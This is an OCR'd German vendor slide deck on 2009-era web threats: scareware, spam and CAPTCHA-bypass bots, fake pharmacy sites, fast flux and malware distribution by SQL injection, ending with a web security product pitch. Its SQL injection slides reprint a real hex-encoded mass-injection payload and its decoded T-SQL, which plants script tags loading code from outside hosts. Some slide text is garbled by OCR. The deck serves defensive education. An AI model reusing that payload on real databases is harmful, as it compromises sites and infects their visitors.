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Quellen €CONIS

Business M Solutions

= Dieser Vortrag basiert auf der Networkers Session von Patrick
Peterson: BRKSEC 2052 Barcelona
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Econis — Ihr starker IT-Partner €COoNIS

Business M Solutions

= Topanbieter von IT-Dienstleistungen in
der Schweiz

= Einzigartiges Losung
Seryicens

o8 Mitarbeiterinnen und Mitarbeiter
= Standorte: Dietikon, Lyss BE
= Luzern
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Agenda €COoNIS

Business M Solutions

= Web 2.0, die Geldmaschine
= Heutige Methoden, Attacken und Gefahren im Web 2.0

= Problemanalyse
= Social Engineering
= Webseiteninhalt
= Schwachen des Webbrowsers
= Schwachen von Virenschutzlésungen
= Schwachen von Webbrowsern
= Beispiele wie Malware tber SQL Injection verteilt wird

= Verfugbare Losungen fur Client und Gateway Websecurity

Quellen: Dieser Vortrag basiert auf der Networkers Session von Patrick Peterson: BRKSEC 2052 Barcelona
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Lucerme University of
Applied Sciences and Arts
HOCHSCHULE €CoNIS

L U 2 E R N Business M Solutions

Wie kann ubers Internet Geld
gemacht werden?




Der Amateur

= Loudcash (now ZangoCash)
$0.40 per install

“Every day 7,500-10,000

ZangoCash affiliates distribute
Jeanson James Ancheta our software to users who are

then connected with more than
6,000 MetricsDirect advertisers.”
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The Professional ecqnls

usiness M Solutions

Smartbot.Net Malware
= Opened CD-ROM tray

“If your cd-rom drive’s open . .
.you desperately need to rid

your system of spyware pop-
ups immediately! Download
Spy Wiper now!”

Spy Wiper and Spy Deleter
Sanford Wallace sold for $30

$4M FTC judgment
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Beispiel Scareware €conis

Business M Solutions

= Infiziert Uber Social Engineering
= Benutzer installiert selbst

= |nfiziert Uber Emails, welche auf infizierte Websites leiten.

= Infiziert Gber “trusted” Website, welche mittels SQL-injection
verseucht wurde
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Social Engineering Scareware Spyware €conis

XP antivirus - Microsoft Internet Explorer

File Edit W¥iew Favortes Tools  Help

@Back b 7 \ﬂ \EL] ;\] /..-\"Search ‘?;.T'\';:’Favorites 6-‘1 ¢~ k? E j‘i

Quick System Scan Results §|

XP antivirus Online Scanner detected
dangerous spyware on your system!

Detected malicious programs can damage your compﬂk} and compromise
waur privacy. Itis strongly recommended to remove them immediately.

Mame Type Risk level
@ Spyware. JEMonster.b Spyware CRITICAL
q’ Zlob.PornAdvertiser.Xplisit Spyware High

#  Trojan.InfoStealer.Banker.s Trojan Medium

[ Remave Al ] [ Ignore
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Vorgespielter Scan empfiehlt Virenschutz

.\ Security Task Manager Unregistered shareware version

€CoNIS

Business M Solutions

File Edit ‘iew Help REGISTER

|,‘£‘ “windows processes| x Remaove @ [uarantine

a Google @ Buy How

Name

pphegt] 0ep37 exe
AP2008instal[1] exe

@ thelt1j0ep37.exe
Iphogt]lep3T.exe
Wirtual Machine Additions

[P virtual Machine Additions

[ virtual Machine Additions

CTF Loader
LS4 Shell [Export VYersion)
Generic Host Process for 'win32 Services
Generic Host Process for Win32 Services
Generic Host Process forwind2 Services
Generic Host Process for'wind2 Services
Application Layer Gatewap Service
Wwindows NT Session Manager
Client Server Runtime Process

n Windows NT Logon Application
Services and Controller app
Generic Host Process for win32 Services
Spoaler SubSystem App
System
Syztem idle

3 ‘windows Messenger

Q Securty Task Manager
Windows Security Center Motification App

ﬂ Automnatic Updates

@ Internet Ewplorer

9 ‘wiindowes Ewplorer

bl

Rating CFU

Memary | File
2%  34MB CAWINDOWS \spstem32ypphegtl0ep37 exe

| System Status | s

Reqistration

Type
Program

Title, Description

Suppork

tive]

Bervices - {08¢

ez - 142F529E
r Sharing Servi

“Antivirus XP has found 2794 threats. It is

Update

" Realtime Protection

known virlses © 1022

Get Maximal
Realtime

Wln32a’Toolbar Myw...

Toolbar WhICh |nc|udes a search funcllon that dlre. i

Critical

Infected!

limne

recommended to proceed with removal”
(R i fected: 2794
Lﬁ
ﬁ everity | Status
Antivirus XP 2008 has found 2794 threats, It is recommended to proceed with remaoval, Infected!
edlum Infected!
Ves o | ih  Irfected
igh Infected!
Win32/IRCBaot.AAH The IRCBotAAH malware family is a group of bot ... High Infected! B35
Q “Win32/1RCEBot.AdH The IRCBotA4H malware family iz a group of bat .. High Infected!
Q “wWin32/1IRCBot.AsH The IRCBotA4H malware family iz a group of bat .. High Infected! windows Mes
Q Wirus Win. CIH Dangeraus wirus. |t destructs your computer BIOS .. High Infected!
Q Wwin3d2/hdware.Sear...  Program is used to direct a browser to display pop-...  High Infected
Q Win32/IRCBot.AdH The IRCBotA4H malware family iz a group of bat ... High Infected! pto date.
g “Win32MAdwre Vitum... Winuz applications uzed to deliver advertizements .. Low Infected! [t Internet Expl
i

Protection

e

|
(v
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- Security Task Manage

with &nkivirus XP
2008 ‘
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Lokationsbasierte Wahrung im Shop €conis

Business M Solutions

Nach dem Scan wird eine Website ohne “close button” geoéffnet. Es kann eine Antivirensoftware
erworben werden.

J Back \_) @ @ ;h /':\J Search \E';n:( Favorites €-‘3 [Egv :; "3 %

Address @ http: s, antivirusxp-08.net/buyv/décd94f 1 4cbaibz4badd27Fb P05 25940

AUD 59.95 _Payby ceditcard |

Antivirus XP 2008 Standard edition + 1 year free updates
Scanner + Spyware Remowver + Real-Time Protection + bonus features
PRICE: AUD 59.95 (This is a One Time Only Charge, vour credit card wiill
never be rebiled and vou will receive UPGRADES FOR FREE!)

AUD 126.95 EENERTEN

Antivirus XP 2008 Standard edition + 3 years free updates
Scanner + Spyware Remowver + Real-Time Protection + bonus features
PRICE:AUD 126,95 (This is a One Time Only Charge, your credit card will
never be rebilled and you will receive UPGRADES FOR FREE!)

Instant Access. Discreet Billina. Secure Procedure by conveniently usina our
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Desktop wird angepasst €CoNIS

Business M Solutions

Spyware detected on your computer!

Install an antivirus or spyware remover to clean your computer

Warning ! Win32-dware Mitumonde
Detected on your computer

Wiarning ! win32/PrivacyRem over Mé
Detected on your computer

Pleaze activate your antivirus =oftware to Clean your computer
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Anpassung am Controlcenter

€CoNIS

Business M Solutions

Desktop und Bildschirmschoner Tab wird vom Controlcenter entfernt

See Also

*“ wWindows Lpdate

)] Help and Suppart
Procr

proce

13.05.2009

Accessibility
Opkions

57

Folder Option

p b

=5
Metwork Setu
Wizard

v

Security
Center

3

Wireless
Metwork Set,

Display Properties

[

A theme is a background plus a set of sounds, icons, and other
elements to help you personalize your computer with one click,

Sample:

Active Window

Ok l [ Cancel

Pisplay

e
etwiork
nections

%
hieduled
Tasks

indowis
Firewall
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Untersuchung von Joe Stewart

€CoNIS

Business M Solutions

*Hat das Programm AV funktionalitat? - Viren- und Malwareprotection (minimal)

*Was passiert, wenn man bezahlt? - Screensaver, Buttons, Popups werden entfernt

*Wohin geht das Geld? - Affiliate im Schneeballsystem 60%-90% Kommission

*Wer steckt dahinter? - Verschiedene Affiliate Programme

Wieviel Geld verdienen sie?

37943
39595
41637
33059
39160
29965
13293
13055
29642
50457
J3E159

Loads

19939
19722
18619
16035
15335
12076
G366
3915
145802
22463
154525

Installs

74
Ja4
249
176
207
129
157
Z65
464

EFTE

Purchases

Cymma, USD
29853, 86 -436.72
542064 0,00
28145,96 -36.71
12908, 24 -118.54
Q728,17 0,00
11672.71 0,00
69:20,51 0,00
FoEF.25 0,00
12852.29 0,00
21055.29 0,00
147116.22 -091,97
Total  Refunds

0.00
0.00
0.00
0.00
0.00
0.00
0.00
0.00
0.00
0.00
0.00

29417.14
S420.64
23112.25
13789.70
726,17
11672.71
692041
FE57.25
125852.29
21055.29
14652425

Met Profit

Source: http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2

13.05.2009
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Lucerme University of
Applied Sciences and Arts
HOCHSCHULE €CONIS

L U 2 E R N Business M Solutions

Heutige Methoden, Attacken und
Gefahren im Web 2.0




Gefahren im Web 2.0 €COoNIS

Business M Solutions

= Botnet Tools um Spam zu versenden (Revolution Mailer)
= Tools um Email Accounts zu generieren, CAPTCHAs, IP Rotation

Who Else Wants to Create Unlimited
i Gmail Accounts in Seconds Flat
Without Breaking a Sweat?

WELCOME TO === - " - MAIL
//? S Introducing Jiffy Gmail Creator!

)
=

RE:VOLUTION Mailer benefits: : _ | =LOSE LilZil il
N\ Wﬁ; Get The Tool!

| § I._' The CL Auto Poster will Automatically
’ Fost And Manage Your Craigslist Ads!

O 2euguid 2beeg gebeug2 U AOML COVNG :
Professional Grade Software
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Gefahren im Web 2.0 €CONIS

Business M Solutions

=  Multi-site Account Creator — Gmail

Ed G.Creator

El- Create Accounts |ﬁ b anage Accounts " E Proxies " & HelpDesk /Feedback /Request a Feature || x.,i,J .-'1'-.I:u:|ut|

i [ start 4 Registration | ] Exit |

Sezzion Settings

Account Settings

Prefix for each account:

[ Cuztomize Gmail Signup data (24 char max)

Suffix for each account:
[24 char max]

il

Accounts to create :

Number of threads - Generate account ID containing :

St s Mumbers and alphabets w |
W ait [in zec] before ztarting new thread :
Length of account ID : 12 f
[] Clear log on startup [without prefis and subfis)
Proiy Sitiirigs [ total length of account [0 [including prefis and suffix)

iz higher than total length you selected above ther it will
be trimmed to length zelected in above box,

[] Uze proxies
Change prowy after every n account(z)]

“|t is STRONGLY recommended to use proxiéé'f”or
creating multiple accounts to avoid getting BANNED

by Gmail”
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CAPTCHAs? €ConIS

Business M Solutions

= Completely Automated Public Turing test to tell Computers and
Humans Apart

=  Weite Verbreitung von CAPTCHAs hat Verbesserung gebracht

= Antwort: Automatisiertes und manuelles CAPTCHA-solving

Type the code shown [

- Remote CAPTCHA client =)
. 1000 CAPTCHASs fiir $1 ANSYY

=  Wopla and Hotlan botnets

Welcome to our service!

We offer you a unique, open to general use of the service manal recognition CAPTCHA ( Completely Automatic
Public

Turing Test to Tell Computers and Humans Apart) — pictures with code designed to protect owners of various web
sites

from automatic registration.

With us working tens of thousands of people from all over the world who are ready for a small fee for your
povvodit on the
proposed text with your pictures.
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AllBots.info €eCONIS

= Mehr als 100 Produkte um Web 2.0 Service anzugreifen

Social Networking Bots

*Note: All bots are undetectable and they all have built-in proxy support.
They randomly change referrers, user-agents and other headers to remain
undetectable. Thanks!

GOOD News!!! We have just integrated CAPTCHA
Bypasser* 1n all of our winsock bots.

*CAPTCHA Bypasser - We have just teamed up with a third-party
CAPTCHA service and integrated their service in all of our bots (optional).
You need to buy credits from a 3rd Party website, imagetotext.com and
just type your user/pass in our software (if you want the software to
bypass the CAPTCHAS) and everything is automatic from there - Just like
you type the CAPTCHAs manually, the software will bypass the CAPTCHAs.
We have added this service in our bots because we know that CAPTCHASs'
sucks :-) And on request of lots of our loyal customers, just like YOU :)
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Problemanalyse




Social Engineering €COoNIS

Business M Solutions

With this, T will manipulate s
your little male brain....

SOCIAL ENGINEERING SPECIALIST

Because there is no patch for
human stupidity
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Aktuelle Beispiele von Social Engineering €COoNIS

13.05.2009

Business M Solutions

"Schweinegrippe weltweit”, "Schweinegrippe in Hollywood”, "erste Schweinegrippeopfer
in den USA" oder "US-Schweinegrippe-Statistiken” sind nur einige Beispiele dafiir, wie
Spammer sich die aktuelle Berichterstattung fiir ihre Zwecke zunutze machen. Auch
Mamen von bekannten Stars wie beispielsweise Salma Hayek (Salma Hayek an
Schweinegrippe erkrankt) oder Madonna (Madonna an Schweinegrippe erkrankt) werden
gezielt in den Betreffs der Spam-Mails genannt, um das Interesse bei den Empfangern

der Mails weiter zu erhihen

Hinter den derzeitigen Spam-Mails, die eine einzige Zeile Plain-Text enthalten
identifizierten die Antivirenspezialisten von BitDefender eine in China registrierte Web-
VAT,

Seite, welche beim Anklicken eine "_com"-Web-Seite dffnet, auf der Arzneimittel

feilgeboten werden (siehe Bild)

Spam: 90 Prozent verlinken auf Schadcode

© Econis AG 2009 - Seite 22 -



Webseiteninhalt

My Pharmacy

WE SHIP WORLOWIDE TO ALL DESTINATIONS!
T | (s

MyCanadianPharmacy
Headguarfers

I N

=

€CoNIS

Business M Solutions

CONTACT US

Main Office (headquarters)

Pharmacy Corp.
1592 'Wilzon Avenue,
Torarto, O ML 145

Or. Jack Popping studied reanimatology st Ortario Medical
State University in 19639, He worked as a reanimator in the
private clinic, YWhite Ribbon, in Ontario until 1990, He hecame
one of the founders of the famous Jack Poppins clinic,
specializing in brain surgery in 1991, In 1992, he completed his
Ph.D. on Alzheimer's dizease. He is one of the founders of
CIPA (Canadian International Pharmacy Associstion). Owver the
vears, Or. Poppins has heen an Associate Professor of
Emergency Medicine at the University of Britizh Columbia,
Director of Profeszional Programs far the Justice Institute of Britizh Colurmbia [Parametic
Academy], and has alzo been invalved in many Phase 3 studies looking &t the safety and
therapeutic effects of a variety of medications and therapies. He iz married and has two
SONS.
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Webseiteninhalt econis

=  Wirklicher Standort

1592 Wilson Avenue
Toronto, ON M3L 1A6
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Webseiteninhalt €an|5

usiness M Solutions

18 betrligerische Elemente auf der Webseite

= Falsches Zertifikat

= “All orders are received via a secure server’—kein HTTPS
=  Gefalschtes Verisign Logo

=  Gefalschtes BBB logo

= Gefalschtes pharmacy checker rating

= Geféalschte Canadian International Pharmacy (CIPA) license
number

= Gefalschtes “Verified by Visa” Logo

Name: Pharmacy

Status: Walid

Validity Period: [10-MAY-06 - 10-MAY-08
Country = CA ?
State = Ontario Q VER'F,ED
Locality = Toronto byV’SA

,;{ﬁiﬁitl cmﬁ}gx,

/ )
BEB [,y@ ®
httl:':.ll.'l'-"‘-"-"‘-"-"‘-'- RELIABILITY w

PROGRAM
BEBONI
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Webseitenzusammensetzung €CoNIS

Business M Solutions

= Webseiten sind aus verschiedenen Objektien zusammengesetzt

= HTML Code sagt aus, welche Objekte von anderen Servern
eingebunden werden sollen.

= Jedes Objekt wird mit eigener HTTP Session Ubertragen.

Einzelne Objekte

BETA

w @ ¢

L a— EE@? Q‘r
]
Finance i~ T i~ Mews i~ / v Yahoo! Messenger
Select Category: m Images | Video | Audio | Directory | Local | News | Shoppi

= Advanced
Search the Web: | Yahoo! Search |/ - My Web
- - 2 T e = Ad Programs
Yahoo! Answers: Ask 2 question | Answer queshifns /
Yahoo! Sports - Coverage of asters: scores and tee times, news, and mare

Hi, jeddaniels sign out ﬁ Mail | Compose | Addresses
360" Horoscopes Movies Feal Estate
Autos Hotlobs Music Shopping
Finance Kids My Yahoo! Sports
Zames Local Mews Travel % More Details ¥ _
EEDCIUEE WEI' EEDP'E S.Eﬂmh :r:u'r.. = £2490 Dell Desktop - Ad Feedback
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MyCanadianPharmacy €C0n|5

1. Registered domain bigamousetract.info
= Registered with 1-877namebid.com
= Registered by Tobyann Ellis in Longview, WA
= +68 phone number, dublin.com email

2. DNS servers
= ‘NS’ Records point to DNS servers in Taiwan, Spain, US, Brazil
= ‘A’ Record for web server points to Korean Telecom IP

3. Web server
= bigamousetract.info server on Korean Telecom network
=  Web site images from Brazil, Slovenia, France, Greece, Netherlands

=  Spammers obfuscate web site connection using redirectors, framing, scripting,
zombie proxies

4. Using “Fast Flux”
» Lokation des Webservers und des DNS servers wechselt alle 5 Minuten
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Schwachen des Webbrowsers

SANS Top 20 2007 Security Risks
http://www.sans.org/top20/#c1

= |E and Firefox vulnerable

= “...hundreds of vulnerabilities in ActiveX controls installed by software
vendors have been discovered.”

= Media Players & Browser Helper Objects (BHO)
= RealPlayer, iTunes, Flash, Quicktime, Windows Media
= Explosion of BHOs and third-party plug-ins

= Plug-ins are installed (semi) transparently by website. Users unaware an
at-risk helper object or plug-in is installed ... introducing more avenues for
hackers to exploit users visiting malicious web sites.
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Business M Solutions

Schwachen von Virenschutzlosungen €CONIS

UNIQUE SAMPLES OF MALICIOUS PROGRAMS
Number of unique samples
G, 000,000

Almost 5.5 million unique zamples —

5,000,000

1,000,000
800,000

500,000

400,000

Under 10,000 unique samples
200,000 [

FEIETEEEEESTISTEFS

Fay oy Py Py Py ey 4F gF u 7 3" Ny
SOURCE: AV-Test
# of unique Malware samples in 2006: 972K ‘ [ 500% increase in 12 Months ]
(e}
# of unique Malware samples in 2007: 5.5M
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Musterbasierte Virenschutz Lésungen €conis

Business M Solutions

= 195 Virus tools bei VX Heavens vx.netlux.org
= Beispiel: NGVCK (Next Generation Virus Creation Kit)

= Poly/Metamorphic Tools erzeugen zufallige Viren

<<prev index next>>

A Quick & Easy Trojan Developing System
Author: Walt DiZnEy

Author's notes: EasyTrojan is a program that enables * ANYOMNE® to write
Ready To Run-Trojan Horses, using a veny-easy-to-learn
Virus Creation Tools {1 95} Trojan-Writing-Code. EasyTrojan is not intended to replace "real
. programming in the developing of Trojan Horses, but it offers an invaluable
fage' [0 ]“[ 1] [_g] [ST[41[3]1[8T1Z][E help to those who don't know anything about computer languages and want
INVICTUS™ VA Library to make Trojans, and also to programmers who are in a hurry and need a

EMOOTHIE 5 Macro Virus Creator 2000 Quick-Ready-To-Run Trojan!
Accass Macro Zenerator
bAoA Elenainm Traian rhonarator Download

Filename [Size Desc Date [MD5
@'easyﬂ 10, zip[23047[QETDS 1.10][Dec 19939 caS72000641088562807 abe 152585
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30% Erfolgsrate bei Mpack Trojaner €con|s

Avmtiwvimnuas e rsior Last Upclate Result

hnT.al—Ww3E 2007 ..T .21 .0 2007 .07 .23 e TFiras=s Doarandd

s oo By el BT e g T..Ad..0O.449 2007 o7 .23 TR " hgentc . 1l3IFE3F1F
Suchemntioan 4. 9353 .8 20070720 o SFlrmas Dodarnd

BvBasSTs 4 .. TFT.997 .0 200707 ._=2F ey Wwiiras Doaradd

B FT.S5.0.475 =007 O07 .22 ODrxTnmasTcat - BSTE
EBEicDerrender T ow = 2007 .0OF .. 235 o WArmas Dodaradd
CERET—aickH==1 = . 00 2007 0T .23 ({Suspepdiciolnls) — DIEaESco=Ia
Jme = T dewel —Z2C0704l1lae 20070723 o “arnas Toarnd

=Sa e - [} I I =007 07T _o=2 Su=spdiciconn=s I ]&armnswWorm
=T rrnast— e =1 -1 SoC= =007 07 o235 e A mas Teooaraad
Fortimnetr =921 0o C =007 07 =235 e A ras FTaoaracd

F—Proct 4. 5. =.4E 2007 ..ao7T .20 o SFiras Soarad
F—Secur= 8. 70 13CE0..0 200707 .23 e SFiras Eodaradd

TlkE=ras=s T=.1 .31 .= 2007 .07 .23 Tr—oj=rn—Lhrowrnl o=de - - Wi 32
HFHa=sper= 1l -1 [l ] =.=24 2007 .07 .23  con e T e T oy o= N — Foouarmadd

Mon Fee S5079S 2007 .07 .20 s Srirus Soarmnd

MG eroScoii T 1.=27T04 20070723 e SFira=s Doaraad

Y o Y e e =47 4 2007 .07 .23 e TFiras=s Doarandd

Mo I meETr 5.50.0ZF 200707235 ey Sl ras Doaaradd

FErd=E =00 [} =1 200707 _OF3 Su=pdcicona= Tile

SO sS 4 150 =007 o7 .17 Mal  "FEFrncFPFk—T

Sunt-—=1 1T = .= S07 o0 =007 o7 o1 L EFEE Suspdcicaoilas

SIna e o I | =007 07 =235 o SFlas Touarad

TheHa o ke [ = i i1ac= =007 o7 == e A mas Teooaraad

Rt = e =-1= = a =007 o7 _=3= e A ras FTaoaracd

A rasEuaster =1 = = = =007 o7 .o== e A mas Teooaraad
Welrwashhe r —Sa - aeweaTsT L= [} a1 =007 o7 _=3= s e =T - FogeTaT 1A===1 =

Source: VirusTotal scan of Mpack malware
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Schwachstellen von Webserver €CoNIS

Business M Solutions

“Die Halfte der vulnerabilities im letzten Jahr
gehen auf Schwachen von Webapplikationen
zuruck. Diese vulnerabilities werden missbraucht

um “Trusted Sites” mit Schadcode zu versehen.

Dadurch kdnnen Clients verseucht und phishing
Attacken gefahren werden.

SANS Top 20 2007 Security Risks
http://www.sans.org/top20/#c1
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SQL Injection €conis

Business M Solutions

HTTP Post made to thousands of web servers

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000760061
00720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073
006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C006
2002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300790073006300
6F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200
061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F
007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F
007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072
0073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F00430075
00720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048
005F005300540041005400550053003D0030002900200042004500470049004E0020006500780065006300280027007500700064006100740065
0020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00
280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270
027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E
0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004
E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000
400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F007200200
04400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(40
00));

EXEC(@S);—178|80040e14|Unclosed_quotation_mark_before_the_character_string_'G;DECLARE_@S_NVARCHAR(4000);

SET_@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
43002000'. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248
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SQL Injection €conis

Business M Solutions

Decoding ‘CAST’ values

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name

from sysobjects a,syscolumns b where a.id=b.id and a.xtype="'u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN exec('update [+@T+" set

['+@C+']=rtrim(convert(varchar,['+@C+']))+"<script src=http://c.uc8010.com/0.|s></script>"")FETCH NEXT
FROM

Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C

Eine erfolgreiche Attacke fugt diese Zeile in Datenbankfelder ein.

<script src=http://?.uc8010.com/0.js></script>

13.05.2009 © Econis AG 2009 - Seite 34 -



Attacke auf BusinessWeek.com

Asprox Botnet

2. Multiple redirects using
javascript and iframes land
user on server running
Neosploit

<script
8rc=
fip.jg">

1. End-user visits infected
legit site and is

3. End-useris
infected with
Asprox malware

redirected to malicious
website

5. End-user infects further
websites via SCIL
Injection, redirects end
usersto it

13.05.2009

4. The user's infected
box is now both a
zombie and a host
for Asprox

€CoNIS
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Betroffene Website €eCONIS
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23 Stromversorgung EnBW Stirungsd=script src=http:/Awww. gigi111.cnfm. js==/fscript> - Mozilla Firefg
File  Edit ‘jew History Bookmarks ScrapBook  Tools  Help

- @ - @ ﬂj‘ |j htkp: f e, bad-waldsee,defl _module/not/place_detail, asprid=4

=
4

alchen B
Erweiterte Suche | STADTSEE AKTIV-WEG | AD WALDSEE
Blirger Tourismus Wirtschaft
zuriick
Name Sttcum versorgung EnBW
Storungsd
Anschrift
: Kontakt Telefon : 0180-2234123
Loadlng % acripts Partially Allowed, 12 (bad-waldsee.de) | <3CRIPT=: 9| <0OBJECT>: 0
q|q|1 11.cn ST —— Ty m.#ﬂvwrﬁ“ﬁ.w*‘*hw ~ilet - ~M-~tw-r*~ :
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Was wurde verandert? €con|s

= bad-waldsee.de registered at DENIC before 2003
= Hosted at 80.237.213.92 on Hosteurope in Cologne

* Firebug - Stromversorgung EnBW Storungsd=script src=http:/Awww. gigil11.cn/m.js==fscript=

File  Wiew  Help
Inspect  Edit | body < himl
Console | HTML | £S5 Script  DOM Met Opty

“<head>
<title>Stromversorgung EnBW Stérungsd<seript
src=http://www.gigilll.cn/m.js></script></title}

st ik DN badn el ol pesalllh re fal et esegia f s

* Browser gets IFRAME, runs m.js javascript at giqi111.cn
* qiqi111.cn is Chinese website hosted in China
- Registered at It R FER B HF R LA in 2008
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Aber wir haben ja Firewalls, IPS, Anti-Virus und URL €COoNnIS
filtering?

= Firewalls blockieren Port 25 oder gultige HTTP(S) Anfragen nicht
= |PS kann kein Social Engineering verhindern
= Laufend werden neue Angriffsmuster entwickelt

= Antivirus ist sehr ineffizinet aufgrund von mutierenden Viren
390 LdPinch Signaturen seit dem Original von 2003
Mehr als 30,000 Bagel Varianten

= URL filtering kann nicht unendlich viele Quellen kategorisieren.

= URL filtering kann nicht verhindern, dass Vertrauenswurdige Sites gehackt
werden

= Mobilitat
= Benutzer installieren selbst und umgehen Securitymassnahmen
- Einmal infiziert versteckt sich die Malware -
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Schutz der Webserver €C0n|5

Business M Solutions

=  Web Application Firewall
= TCP Terminierung

= Schutz vor den bekannten Angriffen wie SQL-
Injektionen, OS Command Injections, Cross-Site-
Scripting-Angriffen, Buffer Overflows, DoS,
Scanning und anderen Attacken

= Optional Loadbalancing

=  Optional SSL Offload @

13.05.2009 © Econis AG 2009 - Seite 40 -



Realtime Monitoring (Layer 4) €ConIS
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= Aktivitaten erkennen

21 Nov 2007 00:00 to 28 Nov 2007 00:08 (GMT -0600})

Top Malware Ports Detected Top Malware Sites Detected

80 cdn5.tribalfusion.com
443 i c4 zedo.com
135
...dultfriendfinder.com
38293
a.tribalfusion.com
445
cl.zedo.com |
161
13.zedo.com
25 |
e rl.zedo.com |
8530 c7 zedo.com
5227 eseals.squaretrade.com
T 1
...10.us.intellit.com
0 10,0k 20.0k , , , ,
ERTETR 0 1,000 2,000 3,000 4,000
Items Displayed: 14
Malware Malware Total Malware ¥
Port Connections Connections Connections
Monitored Blocked Detected
80 19.6k 0 19.6k
443 471 0 471
135 51 0 51
38203 36 0 36
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Application Layer Inspektion €COoNIS
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Suspect Transactlons Detected

3,000 Securlty Services Summary
'eb Proxy ransactions
2 700 Web Pi % Ti chi
L]
O Requests Blocked by URL Category 0.0% 0
2,400 - ]
m E_ﬁg::gsls Blocked by Web Reputation 0.0% 0
i
2.100
Transactions Detected
e m Transactions by 0.9% 4774
L]
1.500 - O other Blocked Transactions 0.0% 22
L]
Total Suspect Transactions Detected: 0.9% 4,796
Top Malware Threats Detected  clons 59.1% s51 1k
Total Transactions: 555.9k
"411 Ferret Toolbar"
"Unknown’
"Other Malware"
“Lopdotcom”
“Vinumende" ||
"EnergyPlugin Dialer" |
. " Adware
Hotbar/Zango" | -
Phishing URL |}
"Sogou" || Dialer ||
"Adware.Gen" Trojan Downloader
Trojan Horse
"Cinmus" } )
. | . | . | 0 00 00
0 20 40 6l
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Web Reputation Filters €COoNIS
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Data Makes the Difference

Parameter

- URL Blacklists
« URL Whitelists
« URL Categorization Data
« HTML Content Data
« URL Behavior
« Global Volume Data

THREAT PREVENTION IN REAL TIME

- Domain Registrar Information

« Dynamic IP Addresses
« Compromised Host Lists
. Web Crawler Data SenderBase Data Analysis/ Web Reputation
Data Security Modeling Scores (WBRS)

« Network Owners
- Known Threats URLs

- Offline data (F500, G2000...) )
. Website History Addresses Known and Unknown Sites

_/

-10 to +10
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Empfehlungen €COoNIS
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= Firewalls, IPS, Antivirus, URL filtering alleine gentigen nicht
= Messen des Infizierungsgrades (Netzwerklayer)
Initial infection level and ongoing as security improved
|dentify root causes
= Messen des Datenverlustes
= Technologien werden sich schnell verandern
= Es braucht eine Plattform, welche einfach angepasst werden kann

= Ausbreiten von integrierter Netzwerk und Applikations Layer
Securitylésungen
Web reputation, URL filtering, Signaturen

- Uberpriifen der Clientldsungen
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IronPort S-Serie ECQDIS

usiness M Solutions

= L4 Traffic Monitor um infizierte PCs zu detektieren

« URL filtering um bekannte, gefahrliche Seiten zu sperren
=  Web Reputation fur den “Long Tail”

= Anti-Malware System um den Inhalt zu Gberprifen

« DLP

« HTTP, HTTPS, FTP

IronPort Web Security Appliance

MANAGEMENT TOOLS

L4 Traffic URL Web Reputation Anti-Malware

Monitor Filters Filters System

IronPort AsyncOS Web Security Platform

Next Generation Web Security Platform
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Fragen??



HOCHSCHULE €eCONIS
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Herzlichen Dank!!




